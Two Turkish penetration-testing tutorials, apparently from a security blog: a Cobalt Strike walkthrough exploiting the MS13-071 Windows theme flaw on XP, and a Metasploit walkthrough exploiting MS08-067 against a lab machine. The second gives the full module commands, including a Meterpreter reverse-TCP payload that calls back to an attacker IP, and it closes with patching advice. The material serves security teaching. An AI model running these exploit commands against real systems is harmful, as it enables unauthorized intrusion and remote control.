Cobalt Strike #4: Microsoft Tema Zafiyetini Kullanarak İstemci Taraflı Bir Saldırı Gerçekleştirme

Cobalt Strike #4: Microsoft Tema Zafiyetini Kullanarak İstemci Taraflı Bir Saldırı Gerçekleştirme

Bu yazıda MS13-071 Windows Tema zafiyeti kullanılarak, XP SP3 bir bilgisayarın Cobalt Strike yüklü KALI bilgisayarına bağlanması sağlanacaktır.

Bu senaryo 2 adımda incelenecektir. Öncelikle zafiyet kodu hazırlanacak, sonra da bu kod kurban tarafından çalıştırılacaktır. Zafiyet kodunun, kurbana gönderilmesi iki şekilde gerçekleştirilecektir. Bu kod, hem KALI paylaşımından gönderilecek, hem de KALI web servisi üzerinden aktarılacaktır.

1) Zafiyetin Hazırlanması

İlgili zafiyet seçilir ve ayarlanır:

Kullanıcıya gönderilecek paylaşım adresi elde edilir ve kurbana gönderilir:

2) Kurbanın Paylaşımdaki Dosyayı Çalıştırması

Kurban, KALI bilgisayarın diskindeki tema dosyasını çalıştıracaktır. Bu amaçla ilgili dosyaya paylaşım yolu ile erişilir:

İlgili dosya çalıştırılır:

Böylece ilk Meterpreter kabuğu açılmıştır:

3) Kurbana Temayı Web Üzerinden Göndermek

İlk adımda zafiyeti ayarlandıktan sonra, paylaşım yerine bir URL üzerinden de tema dosyası kurbana gönderilebilir. Bu amaçla "/root/.msf4/local" dizinindeki "msf.theme" dosyası web sunucunun kök dizinine ("/var/www/") kopyalanır.

Web sayfasının kök dizinine kopyalanan bu dosya, sıkıştırılır (İndirirken browser tarafından açılmasın diye):

Not: Web servisi çalışmıyorsa başlatılmalıdır. Ör: "service apache2 start"

4) Kurbanın Bağlantıdaki Dosyayı Çalıştırması

Kurban bilgisayarından web sunucusunun ilgili adresine gidilerek bu tema dosyası indirilir:

Tema dosyası, sıkıştırılmış dosyadan çıkartılır:

Tema dosyası 2 kere tıklanarak çalıştırılır. Açılan pencereden "Screen Saver" sekmesine gelinir:

İlgili sekmeye (Screen Saver) tıklandığında, ikinci meterpreter bağlantısı oluşmuş olur:

Kaynak:
www.youtube.com/playlist?list=PL9HO6M_MU2nesxSmhJjEvwLhUoHPHmXvz
http://www.exploit-db.com/exploits/28482/

İpucu: Zafiyetin Kullanılarak Bir Bilgisayara Sızılması

Zafiyetin Kullanılarak Bir Bilgisayara Sızılması

Amaç

• Zafiyet taraması ile elde edilen zafiyetlerden faydalanılarak, öncelikle bir makineye sızılacak ve sonrasında diğer makinelere yayılmaya çalışılacaktır.
• Zafiyet tespit edilen makinede, tam yetki (SYSTEM kullanıcı hakları) ile erişim sağlanmaya çalışılacaktır.

Yöntem
Sızma teslerine başlamadan önce zafiyet taraması gerçekleştirilir. Zafiyet taramasının nasıl gerçekleştirildiği ile ilgili ayrıntılı bilgi için bakınız:

http://ertugrulbasaranoglu.blogspot.com/2012/12/ipucu-zafiyet-taramasnn.html

Zafiyet taraması ile MS08-067 açıklığı tespit edilen 192.168.72.201 IP'li bilgisayara sızma işlemi gerçekleştirilecektir. Bu sızma işlemi için, öncelikle msf konsol kullanılacaktır. Bu sebeple “/opt/metasploit/msf3” dizini veya mevcut dizin içerisindeki msfconsole çalıştırılır:

cd /opt/metasploit/msf3 ./msfconsole

Şekil: msf konsolun başlatılması

Zafiyet taramasında bulunan zafiyetler Metasploit Framework içerisinde aranır, zafiyete ait modül kullanılarak seçenekleri incelenir. Zafiyet taraması sonucunda elde edilen zafiyet "MS08-67: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check)" şeklinde tanımlanmaktadır ve hedef makinede tam kontrol elde edilmesi sağlanmaktadır. Bu zafiyetli ilgili ayrıntılı bilgi için Ulusal Bilgi Güvenliği Kapısı'nda bulunun bağlantıdaki yazı incelenebilir.

Not: Windows 2000 işletim sistemi ile Windows XP SP2 ve öncesi sistemler Microsoft’un güncelleme desteğini kaldırdığı eski sistemlerdir. Bu sistemlerde güncel olan önemli güvenlik özellikleri bulunmadığı gibi sahip oldukları kritik açıklıklar için bile herhangi bir güvenlik güncellemesi üretilmemektedir. Bu yüzden bu tür eski sistemlerin aktif olarak kullanılıyor olması saldırganlar için önemli bir saldırı noktası oluşturmaktadır.

Aranan zafiyet modülü bulunduktan sonra sızma işlemi için gerekli seçenekler ayarlanır. Bu seçeneklerden en önemlisi RHOST (Hedef / kurban IP) değeridir:

search ms08-067 use exploit/windows/smb/ms08_067_netapi show options set RHOST 192.168.72.201

Şekil: Zafiyetle ilişkili modülün bulunması ve exploit işlemi için seçeneklerin ayarlanması

Hedefe yönelik tercih seçeneği de ayarlanabilir ancak bu seçeneğin ayarlanmaması tavsiye edilir:

show targets

Şekil: Hedefe yönelik seçeneklerin incelenmesi

Gerekirse, seçilen modül hakkında ayrıntılı seçenekler incelenerek, gelişmiş değişiklikler de gerçekleştirilebilir:

show advanced

Şekil: Modüle ait seçeneklerin ayrıntılı olarak incelenmesi

Exploit işlemi için uygun PAYLOAD belirlenir ve seçenekler incelenir.

set PAYLOAD windows/meterpreter/reverse_tcp show options

Şekil: Uygun PAYLOAD değerinin seçilmesi

LHOST (Kaynak / Saldırgan IP) seçeneğine hedef IP’nin cevabını yollaması gerektiği IP bilgisi girilir. Exploit işlemi gerçekleştirilir:

set LHOST 192.168.172.200 show options exploit

Şekil: PAYLOAD seçeneklerinin ayarlanması ve exploit işleminin başlatılması

Önlem

• Organizasyonda belli periyotlarla zafiyet testi yapılmalıdır.
• Sistemlerde bulunan zafiyetler giderilmelidir.
• Eski sistemler yenileri ile değiştirilmeli, işletim sistemleri ve kullandıkları servislerin güncellemeleri geciktirilmeden uygulanmalıdır.